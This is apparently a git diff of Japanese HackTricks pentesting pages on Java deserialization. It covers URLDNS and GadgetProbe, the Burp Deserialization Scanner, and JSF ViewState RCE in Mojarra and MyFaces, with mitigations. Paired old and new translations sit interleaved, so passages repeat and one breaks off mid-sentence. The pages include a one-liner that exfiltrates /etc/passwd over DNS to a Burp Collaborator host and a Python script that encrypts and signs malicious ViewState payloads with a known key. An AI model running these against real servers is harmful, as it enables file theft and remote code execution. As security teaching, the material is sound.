[ysoserialのURDNSペイロードコードはこちら](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)で見つけることができます。しかし、コードの理解を容易にするために、私はysoserialのものに基づいて自分のPoCを作成しました:
|
||||
[ここからysoserialのURDNSペイロードコードを見つけることができます](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)。ただし、コードの作成方法を理解しやすくするために、ysoserialのものを基に独自のPoCを作成しました:
|
||||
```java
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
|
@ -140,78 +134,78 @@ return null;
|
|||
}
|
||||
}
|
||||
```
|
||||
### 詳細情報
|
||||
### より詳しい情報
|
||||
|
||||
* [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
|
||||
* 元のアイデアでは、commons collectionsのペイロードがDNSクエリを実行するように変更されましたが、これは提案された方法よりも信頼性が低かったです。しかし、こちらがその投稿です: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
||||
* 元のアイデアでは、Commons CollectionsのペイロードがDNSクエリを実行するように変更されましたが、これは提案された方法よりも信頼性が低かったです。詳細は次の投稿を参照してください: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
||||
|
||||
## GadgetProbe
|
||||
|
||||
**GadgetProbe**はBurp Suite App Store (Extender)からダウンロードできます。
|
||||
[Burp Suite App Store (Extender)](https://github.com/BishopFox/GadgetProbe) から **GadgetProbe** をダウンロードできます。
|
||||
|
||||
**GadgetProbe**はサーバーのJavaクラスに**Javaクラスが存在するか**を判断し、既知のエクスプロイトに**脆弱**かどうかを知ることができます。
|
||||
**GadgetProbe** は、サーバーの **Javaクラス** が存在するかどうかを調べ、それが **既知の脆弱性** に対して **脆弱** かどうかを知るために使用されます。
|
||||
|
||||
### 動作方法
|
||||
### 動作原理
|
||||
|
||||
**GadgetProbe**は前のセクションの**DNSペイロード**を使用しますが、DNSクエリを実行する**前に**、任意のクラスのデシリアライズを**試みます**。任意のクラスが存在する場合、**DNSクエリ**が**送信**され、GadgetProbeはこのクラスが存在することを記録します。**DNS**リクエストが**送信されない**場合、任意のクラスが正常にデシリアライズされなかったことを意味し、存在しないか、**シリアライズ/エクスプロイト可能**ではありません。
|
||||
**GadgetProbe** は、前のセクションの **DNSペイロード** を使用しますが、DNSクエリを実行する前に **任意のクラスを逆シリアル化しようとします**。 **任意のクラスが存在する** 場合、**DNSクエリ** が **送信** され、GadgetProbe はこのクラスが存在することを記録します。 **DNS** リクエストが **送信されない** 場合、これは **任意のクラスが正常に逆シリアル化されなかった** ことを意味し、それは存在しないか、 **シリアル化/悪用** できないことを示します。
|
||||
|
||||
GitHub内には、テスト用のJavaクラスの[**ワードリストがいくつかあります**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists)。
|
||||
GitHub内には、[**GadgetProbeにいくつかのワードリスト**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) があり、テスト用のJavaクラスが含まれています。
|
||||
|
||||
![](<../../.gitbook/assets/intruder4 (1) (1) (1).gif>)
|
||||
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../.gitbook/assets/intruder4 (1) (1) (1).gif>)
|
||||
|
||||
### 詳細情報
|
||||
### より詳しい情報
|
||||
|
||||
* [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
|
||||
|
||||
## Javaデシリアライゼーションスキャナー
|
||||
## Java Deserialization Scanner
|
||||
|
||||
このスキャナーはBurp App Store (**Extender**)から**ダウンロード**できます。\
|
||||
**拡張機能**には**パッシブ**とアクティブの**機能**があります。
|
||||
このスキャナーは、Burp App Store (Extender) から **ダウンロード** できます。\
|
||||
この **拡張機能** には **パッシブ** および **アクティブ** の **機能** があります。
|
||||
|
||||
### パッシブ
|
||||
|
||||
デフォルトでは、**Javaシリアライズされたマジックバイト**を**探して**、すべてのリクエストとレスポンスを**パッシブにチェック**し、見つかった場合は脆弱性警告を表示します:
|
||||
デフォルトでは、すべてのリクエストとレスポンスを **パッシブにチェック** し、 **Javaシリアル化のマジックバイト** を探し、見つかった場合は脆弱性警告を表示します:
|
||||
|
||||
![](<../../.gitbook/assets/image (290).png>)
|
||||
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/image (290).png>)
|
||||
|
||||
### アクティブ
|
||||
|
||||
**手動テスト**
|
||||
|
||||
リクエストを選択し、右クリックして`Send request to DS - Manual Testing`を選びます。\
|
||||
その後、_Deserialization Scanner Tab_ --> _Manual testing tab_内で**挿入ポイント**を選択し、**テストを開始**します(使用されているエンコーディングに応じて適切な攻撃を選択します)。
|
||||
リクエストを選択し、右クリックして `Send request to DS - Manual Testing` をクリックできます。\
|
||||
次に、_Deserialization Scanner Tab_ --> _Manual testing tab_ で **挿入ポイント** を選択し、テストを実行できます(使用されているエンコーディングに応じて適切な攻撃を選択してください)。
|
||||
|
||||
![](../../.gitbook/assets/3-1.png)
|
||||
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../.gitbook/assets/3-1.png)
|
||||
|
||||
これは"手動テスト"と呼ばれていますが、かなり**自動化**されています。ウェブサーバーに存在するライブラリをチェックし、**ysoserialペイロード**に対して**デシリアライゼーションが脆弱**かどうかを自動的に確認し、脆弱なものをハイライトします。**脆弱なライブラリ**をチェックするために、**Java Sleeps**、**CPU**消費による**sleeps**、または前述のように**DNS**を使用して起動することができます。
|
||||
これが「手動テスト」と呼ばれているにもかかわらず、かなり **自動化** されています。Webサーバーに存在するライブラリをチェックし、脆弱なものを強調表示します。 **脆弱なライブラリ** をチェックするには、**Javas Sleeps**、 **CPU** 消費を介した **sleeps**、または以前に言及されたように **DNS** を起動することを選択できます。
|
||||
|
||||
**エクスプロイト**
|
||||
**悪用**
|
||||
|
||||
脆弱なライブラリを特定したら、リクエストを_Exploiting Tab_に送ります。\
|
||||
このタブでは、再度**挿入ポイント**を**選択**し、ペイロードを作成したい**脆弱なライブラリ**と**コマンド**を**記述**します。その後、適切な**Attack**ボタンを押します。
|
||||
脆弱なライブラリを特定したら、リクエストを _Exploiting Tab_ に送信できます。\
|
||||
このタブでは、再び **挿入ポイント** を選択し、 **作成する脆弱なライブラリ** と **コマンド** を入力し、適切な **Attack** ボタンを押すだけです。
|
||||
|
||||
![](<../../.gitbook/assets/4 (1).png>)
|
||||
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/4 (1).png>)
|
||||
|
||||
### JavaデシリアライゼーションDNS Exfil情報
|
||||
### Java Deserialization DNS Exfil 情報
|
||||
|
||||
以下のような何かを実行するペイロードを作成します:
|
||||
ペイロードを以下のように実行するようにしてください:
|
||||
```bash
|
||||
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
|
||||
```
|
||||
### 詳細情報
|
||||
### より詳しい情報
|
||||
|
||||
* [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* あなたの**会社をHackTricksに広告掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする**
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,248 +1,18 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **ハッキングテクニックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# イントロ
|
||||
|
||||
[RCEs through misconfigured JSON libraries](https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html)を見た後、私たちはJSF実装のViewStatesを分析し始めました。[JavaServer Faces (JSF)](https://en.wikipedia.org/wiki/JavaServer_Faces)は、再利用可能なコンポーネントを使用してWeb UIを構築するためのユーザーインターフェース(UI)技術です。JSFは主にエンタープライズアプリケーションに使用され、JSF実装は通常、JBoss EAPやWebLogic ServerなどのJavaアプリケーションサーバー上で実行されるWebアプリケーションによって使用されます。JSF仕様の2つのよく知られた実装があります:
|
||||
|
||||
* Oracle Mojarra(JSFリファレンス実装)
|
||||
* Apache MyFaces
|
||||
|
||||
# スコープ
|
||||
|
||||
このブログ記事では、2つのJSF 2.x実装、Oracle Mojarra(リファレンス実装)とApache MyFacesに焦点を当てています。古い実装(JSF 1.x)も、この記事で説明されている脆弱性の影響を受ける可能性があります。(JSF 2.0.xは2009年に最初にリリースされ、現在のバージョンは2.3.xです)。
|
||||
|
||||
# ViewStateの状態
|
||||
|
||||
JSFと同様のWeb技術との違いの1つは、JSFがViewStates(セッションに加えて)を使用してビューの現在の状態(例:現在表示されているビューのどの部分を表示するか)を保存することです。ViewStateは`サーバー`または`クライアント`に保存できます。JSFのViewStatesは通常、HTMLフォームに`javax.faces.ViewState`という名前の非表示フィールドとして自動的に埋め込まれます。フォームが送信されると、それらはサーバーに送信されます。
|
||||
|
||||
## サーバーサイドのViewState
|
||||
|
||||
JSF ViewStateが`サーバー`に配置されるように構成されている場合、非表示の`javax.faces.ViewState`フィールドには、サーバーが正しい状態を取得するのに役立つIDが含まれています。MyFacesの場合、そのIDは**シリアライズされたJavaオブジェクト**です!
|
||||
|
||||
## クライアントサイドのViewState
|
||||
|
||||
JSF ViewStateが`クライアント`に配置されるように構成されている場合、非表示の`javax.faces.ViewState`フィールドには、少なくともBase64でエンコードされた**シリアライズされたJavaオブジェクト**が含まれています。おそらくすでに気づいたかもしれませんが、これは潜在的な災害への道です!それが現在のJSF ViewStatesが送信される前に暗号化および署名される理由の1つかもしれません。シリアライズされたJavaオブジェクトの危険性
|
||||
|
||||
2015年のAppSec Californiaカンファレンスで、[Gabriel Lawrence](https://twitter.com/gebl)と[Chris Frohoff](https://twitter.com/frohoff)は、「Marshalling Pickles(オブジェクトのデシリアライズがあなたの日常を台無しにする方法)」というタイトルのプレゼンテーションを行いました(https://frohoff.github.io/appseccali-marshalling-pickles/)。このプレゼンテーションは、Javaオブジェクトのシリアル化に関する忘れられた問題に光を当て、[いくつかの深刻なリモートコード実行(RCE)の脆弱性](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)の発見につながりました。
|
||||
|
||||
残念ながら、これにより、Apache Commons Collectionsの特定のバージョンを削除/更新することで脆弱性を緩和できると信じる人もいました。これは確かに助けになるかもしれませんが、問題の根本的な原因である信頼できないデータのデシリアライズ([CWE 502](https://cwe.mitre.org/data/definitions/502.html))を解決するものではありません。言い換えれば、**「脆弱な」Apache Commons Collectionsバージョンの使用は、アプリケーションが脆弱であることを意味するわけではなく、そのようなライブラリバージョンの欠如は、アプリケーションが脆弱でないことを意味するわけではありません。**
|
||||
|
||||
しかし、悪意のあるハッカーが「Mad Gadget」/「Apache Commons Collections Deserialization Vulnerability」を介してサンフランシスコ市交通局のシステムをシャットダウンして暗号化した後、Googleは[Operation Rosehub](https://opensource.googleblog.com/2017/03/operation-rosehub.html)を開始しました。Operation Rosehubの目的は、依存関係として問題のあるcommons collectionsバージョンを使用しているであろうJavaオープンソースプロジェクトをできるだけ多く見つけ、プロジェクトの所有者にプルリクエストを提出して、それらのプロジェクトが新しいリリースで問題のあるcommons collectionsバージョンの使用をやめるようにすることでした。
|
||||
# ViewStateへの攻撃
|
||||
|
||||
JSFベースのログインページを持つWebアプリケーションがあると仮定しましょう:
|
||||
|
||||
![JSFベースのログイン](https://www.alphabot.com/images/blog/jsf-viewstate/jsf-viewstate-login.png)
|
||||
|
||||
そのログインページには、暗号化も署名もされていないViewStateがあります。そのため、HTMLソースを見ると、ViewStateを含む隠しフィールドが表示されます:Unencrypted MyFaces ViewState:
|
||||
```
|
||||
<input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />
|
||||
```
|
||||
上記のViewStateをBase64でデコードすると、シリアライズされたJavaオブジェクトが含まれていることがわかります。このViewStateは、フォームが送信されると(たとえば、ログインをクリックすると)POST経由でサーバーに送信されます。ViewStateがサーバーにPOSTされる前に、攻撃者は既にサーバーのクラスパス上にあるガジェット(例:commons-collections-3.2.1.jarのInvokerTransformer)またはまだ公に知られていないガジェットを使用して、ViewStateを自分自身の悪意のあるViewStateで置き換えます。悪意のあるガジェットがViewStateに配置されると、攻撃者はサーバーで実行するコマンドを指定できます。攻撃者が選んだコマンドは、サーバー上のUIで電卓を起動することです。
|
||||
|
||||
攻撃者が修正したフォームをサーバーに送信した後、JSFの実装は提供されたViewStateをデシリアライズしようとします。ViewStateのデシリアライズが終了する前に、コマンドが実行され、サーバー上で電卓が起動します。
|
||||
|
||||
![JSF ViewStateを使用して起動した電卓](https://www.alphabot.com/images/blog/jsf-viewstate/jsf-viewstate-started-calculator.png)
|
||||
|
||||
すべては、JSFの実装がViewStateを確認してそれが無効であると判断する前に起こりました。ViewStateが無効であると判明した場合、通常は「ビューの有効期限が切れました」といったエラーがクライアントに送信されます。しかし、その時点では既に手遅れです。攻撃者はサーバーにアクセスし、コマンドを実行しています(ほとんどの現実の攻撃者は電卓を起動するのではなく、通常はリモートシェルを展開し、それを使用してサーバーにアクセスします)。
|
||||
|
||||
=> この例は、非常に危険な未認証のリモートコード実行(RCE)の脆弱性を示しています。
|
||||
|
||||
(上記のJSFに対するほぼ同じ攻撃シナリオは、2015年のプレゼンテーション(65〜67ページ)で既に概説され、デモンストレーションされていました:[Marshalling Pickles](https://frohoff.github.io/appseccali-marshalling-pickles/)(FrohoffとLawrenceによる))。
|
||||
|
||||
# 成功した攻撃の前提条件
|
||||
|
||||
それでは、災害のための要素は何でしょうか?
|
||||
|
||||
* 暗号化されていないViewState(または、暗号化キーの所持)
|
||||
* サーバーのクラスパス上にガジェットが存在する
|
||||
* Mojarraの場合:ViewStateが「クライアント」に配置されるように構成されている
|
||||
* MyFacesの場合:ViewStateが「クライアント」または「サーバー」に配置されるように構成されている
|
||||
|
||||
これらのポイントを、2つのJSF実装と関連して見てみましょう。
|
||||
|
||||
# Oracle Mojarra(JSFリファレンス実装)
|
||||
|
||||
前述のように、Oracle MojarraはJSFリファレンス実装(RI)ですが、その名前で知られていないかもしれません。Sun JSF RIとして知られることもあり、javaパッケージ名`com.sun.faces`で認識されるか、あいまいなjar名`jsf-impl.jar`で認識されるかもしれません。
|
||||
|
||||
## Mojarra:暗号化されていないViewState
|
||||
|
||||
ここが重要なポイントです:Mojarraは、2.0.xおよび2.1.xのほとんどのバージョンでデフォルトでクライアントサイドのViewStateを暗号化および署名していませんでした。サーバーサイドのViewStateが両方のJSF実装のデフォルトですが、開発者は`javax.faces.STATE_SAVING_METHOD`パラメータを`client`に設定することで簡単に構成を切り替えてクライアントサイドのViewStateを使用することができます。このパラメータ名は、それをclientに変更すると重大なリモートコード実行の脆弱性(クラスタ化されたWebアプリケーションでクライアントサイドのViewStateが使用される場合など)が導入されることを示していません。
|
||||
|
||||
クライアントサイドのViewStateの暗号化は、Mojarra 2.2以降のバージョンではデフォルトで使用されていますが、2.0.xおよび2.1.xのブランチではデフォルトではありませんでした。ただし、2016年5月にMojarraの開発者は、暗号化されていないViewStateがRCEの脆弱性につながることに気付いたため、デフォルトのクライアントサイドのViewStateの暗号化を[2.0.x](https://github.com/javaserverfaces/mojarra/issues/4142)および[2.1.x](https://github.com/javaserverfaces/mojarra/issues/4141)にバックポートし始めました。
|
||||
|
||||
したがって、少なくとも2.1.xブランチの[2.1.29-08](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.1.29-08)(2016年7月リリース)および2.0.xの[2.0.11-04](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.0.11-04)(同様に2016年7月リリース)のバージョンでは、デフォルトで暗号化が有効になっています。
|
||||
|
||||
Mojarraライブラリを分析したところ、Red Hatも2.1.xおよび2.0.xブランチ向けのMojarraバージョンをリリースしていることがわかりました。最新のバージョンは[2.1.29-jbossorg-1](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.1.29-jbossorg-1)および[2.0.4-b09-jbossorg-4](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.0.4-b09-jbossorg-4)です。これらのリリースもデフォルトのViewStateの暗号化が無効であったため、私たちはRed Hatに連絡し、彼らは迅速にバグトラッカーで[バグ1479661 - JSF client side view state saving deserializes data](https://bugzilla.redhat.com/show_bug.cgi?id=1479661)を作成しました。2.1.xブランチに対する以下の緩和策を提案しました。
|
||||
|
||||
> 脆弱なWebアプリケーションでは、javax.faces.STATE_SAVING_METHODを「client」に設定してクライアントサイドのビューステート保存を有効にする必要があります。Enterprise Application Platform(EAP)6.4.xのデフォルト値は「server」です。\
|
||||
> \
|
||||
> javax.faces.STATE_SAVING_METHODが「client」に設定されている場合、この問題の緩和策は、アプリケーションのweb.xmlでcom.sun.faces.ClientStateSavingPasswordを設定してビューを暗号化することです:
|
||||
>
|
||||
> ```markup
|
||||
> <context-param>
|
||||
> <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
|
||||
> <param-value>client</param-value>
|
||||
> </context-param>
|
||||
>
|
||||
> <env-entry>
|
||||
> <env-entry-name>com.sun.faces.ClientStateSavingPassword</env-entry-name>
|
||||
> <env-entry-type>java.lang.String</env-entry-type>
|
||||
> <env-entry-value>[some secret password]</env-entry-value>
|
||||
> </env-entry>
|
||||
> ```
|
||||
|
||||
残念ながら、一部のさらに古いバージョンでは、その緩和策は機能しません。[この素晴らしいStackOverflowの回答](https://stackoverflow.com/questions/28231372/com-sun-faces-clientstatesavingpassword-recommendations-for-actual-password)によ
|
||||
## Mojarra: クライアントに保存されるViewStateの設定
|
||||
|
||||
Mojarraのデフォルトの`javax.faces.STATE_SAVING_METHOD`設定は`server`です。開発者は手動でこれを`client`に変更する必要があります。これにより、Mojarraは上記で説明した攻撃シナリオに対して脆弱になります。シリアライズされたViewStateがサーバーに送信されるが、Mojarraが`server`側のViewState保存を使用している場合、それをデシリアライズしようとはしません(ただし、`StringIndexOutOfBoundsException`が発生する可能性があります)。
|
||||
|
||||
## Mojarra: 緩和策
|
||||
|
||||
Mojarraをサーバー側のViewStateを使用している場合は、何もする必要はありません。
|
||||
|
||||
Mojarra < 2.2を使用してクライアント側のViewStateを使用している場合、以下の緩和策があります。
|
||||
|
||||
* Mojarraを2.0.11-04または2.1.29-08にアップデートします。
|
||||
* クライアント側のViewStateの代わりにサーバー側のViewStateを使用します。
|
||||
* より古いバージョンのMojarraを使用しており、アップデートやサーバー側のViewStateへの切り替えが不可能な場合は、一時的な解決策としてViewStateパスワードを設定し、それが正しいパラメータであることを確認します(必ずしも対応するドキュメント内のパラメータである必要はありません)。
|
||||
|
||||
後のMojarraバージョンの場合:
|
||||
|
||||
* ViewStateの暗号化がパラメータ`com.sun.faces.disableClientStateEncryption`を介して無効になっていないことを確認します。
|
||||
|
||||
# Apache MyFaces
|
||||
|
||||
Apache MyFacesはもう1つの大きな、広く使用されているJSFの実装です。
|
||||
|
||||
## MyFaces: 暗号化されていないViewState
|
||||
|
||||
MyFacesはデフォルトでViewStateを暗号化します。これは彼らの[セキュリティ設定のWikiページ](https://wiki.apache.org/myfaces/Secure_Your_Application)で述べられています。
|
||||
|
||||
> 暗号化はデフォルトで有効になっています。暗号化は本番環境で使用する必要があり、テスト/開発環境では無効にすることができます。
|
||||
|
||||
ただし、パラメータ`org.apache.myfaces.USE_ENCRYPTION`を`false`に設定することで、ViewStateの暗号化を無効にすることも可能です(または、暗号化を使用しながら推測しやすいパスワードを手動で設定することも可能です)。デフォルトでは、MyFacesはサーバーの再起動ごとにViewStateの暗号化キーを変更します。
|
||||
|
||||
デフォルトでは、MyFacesは暗号化アルゴリズムとして`DES`、ViewStateの認証には`HMAC-SHA1`を使用します。`AES`や`HMAC-SHA256`などのより新しいアルゴリズムを設定することが可能であり、推奨されています。
|
||||
|
||||
## MyFaces: クライアントに保存されるViewStateの設定
|
||||
|
||||
MyFacesのデフォルトの`javax.faces.STATE_SAVING_METHOD`設定は`server`です。しかし、**MyFacesはViewStateの設定に関係なく常にデシリアライズを行います**。そのため、[MyFacesを使用する際には暗号化を無効にしないことが非常に重要です](https://issues.apache.org/jira/browse/MYFACES-4021)!
|
||||
|
||||
(私たちはMyFacesのバグトラッカーに問題を作成しました:[MYFACES-4133 サーバーの状態保存方法がserverの場合にViewState-IDをデシリアライズしないようにする](https://issues.apache.org/jira/browse/MYFACES-4133)、おそらく[今回](https://issues.apache.org/jira/browse/MYFACES-4021)はより安全なデフォルトの要望が受け入れられるでしょう。)
|
||||
|
||||
## MyFaces: 緩和策
|
||||
|
||||
MyFacesを使用する場合は、ViewStateの暗号化が無効になっていないことを確認してください(`org.apache.myfaces.USE_ENCRYPTION`を介して)。ViewStateがクライアントまたはサーバーに保存されているかに関係なく、これが重要です。
|
||||
|
||||
## カスタム暗号化
|
||||
|
||||
何らかの方法で使用されているパスワードを盗むことができれば、次のスクリプトを使用してウェブサーバーに対してペイロードを暗号化および署名攻撃することができます:
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
import sys
|
||||
import hmac
|
||||
from urllib import parse
|
||||
from base64 import b64encode
|
||||
from hashlib import sha1
|
||||
from pyDes import *
|
||||
|
||||
YELLOW = "\033[93m"
|
||||
GREEN = "\033[32m"
|
||||
|
||||
def encrypt(payload,key):
|
||||
cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
|
||||
enc_payload = cipher.encrypt(payload)
|
||||
return enc_payload
|
||||
|
||||
def hmac_sig(enc_payload,key):
|
||||
hmac_sig = hmac.new(key, enc_payload, sha1)
|
||||
hmac_sig = hmac_sig.digest()
|
||||
return hmac_sig
|
||||
|
||||
key = b'JsF9876-'
|
||||
|
||||
if len(sys.argv) != 3 :
|
||||
print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0]))
|
||||
else:
|
||||
with open(sys.argv[1], "rb") as f:
|
||||
payload = f.read()
|
||||
f.close()
|
||||
print(YELLOW + "[+] Encrypting payload")
|
||||
print(YELLOW + " [!] Key : JsF9876-\n")
|
||||
enc_payload = encrypt(payload,key)
|
||||
print(YELLOW + "[+] Creating HMAC signature")
|
||||
hmac_sig = hmac_sig(enc_payload,key)
|
||||
print(YELLOW + "[+] Appending signature to the encrypted payload\n")
|
||||
payload = b64encode(enc_payload + hmac_sig)
|
||||
payload = parse.quote_plus(payload)
|
||||
print(YELLOW + "[*] Final payload : {}\n".format(payload))
|
||||
with open(sys.argv[2], "w") as f:
|
||||
f.write(payload)
|
||||
f.close()
|
||||
print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))
|
||||
```
|
||||
# Badsecretsを使った既知のキーの検出
|
||||
|
||||
![Badsecrets](https://github.com/blacklanternsecurity/badsecrets)は、既知の暗号鍵の使用を検出することができるライブラリであり、生成される製品を調べ、既知のまたは弱い鍵のリストと照合します。その`Jsf_viewstate`モジュールは、MojarraとMyFacesの両方で既知のキーを使用して作成されたJava Server Faces ViewStates、および保護されていないまたは圧縮されたViewStatesを検出することができます。
|
||||
|
||||
最も簡単な方法は、`cli.py`の例ツールを以下のように使用することです:
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
cd badsecrets
|
||||
python examples/cli.py Ly8gp+FZKt9XsaxT5gZu41DDxO74k029z88gNBOru2jXW0g1Og+RUPdf2d8hGNTiofkD1VvmQTZAfeV+5qijOoD+SPzw6K72Y1H0sxfx5mFcfFtmqX7iN6Gq0fwLM+9PKQz88f+e7KImJqG1cz5KYhcrgT87c5Ayl03wEHvWwktTq9TcBJc4f1VnNHXVZgALGqQuETU8hYwZ1VilDmQ7J4pZbv+pvPUvzk+/e2oNeybso6TXqUrbT2Mz3k7yfe92q3pRjdxRlGxmkO9bPqNOtETlLPE5dDiZYo1U9gr8BBQ=
|
||||
```
|
||||
![](https://user-images.githubusercontent.com/24899338/227623883-f760570d-796e-459d-87b0-b87ad33999ae.png)
|
||||
|
||||
一致するものが見つかった場合、それに加えて利用されているプラットフォーム(MojarraまたはMyFaces)、暗号化アルゴリズム、および圧縮の有無もリストアップされます。これらはすべて攻撃に必要な情報です。
|
||||
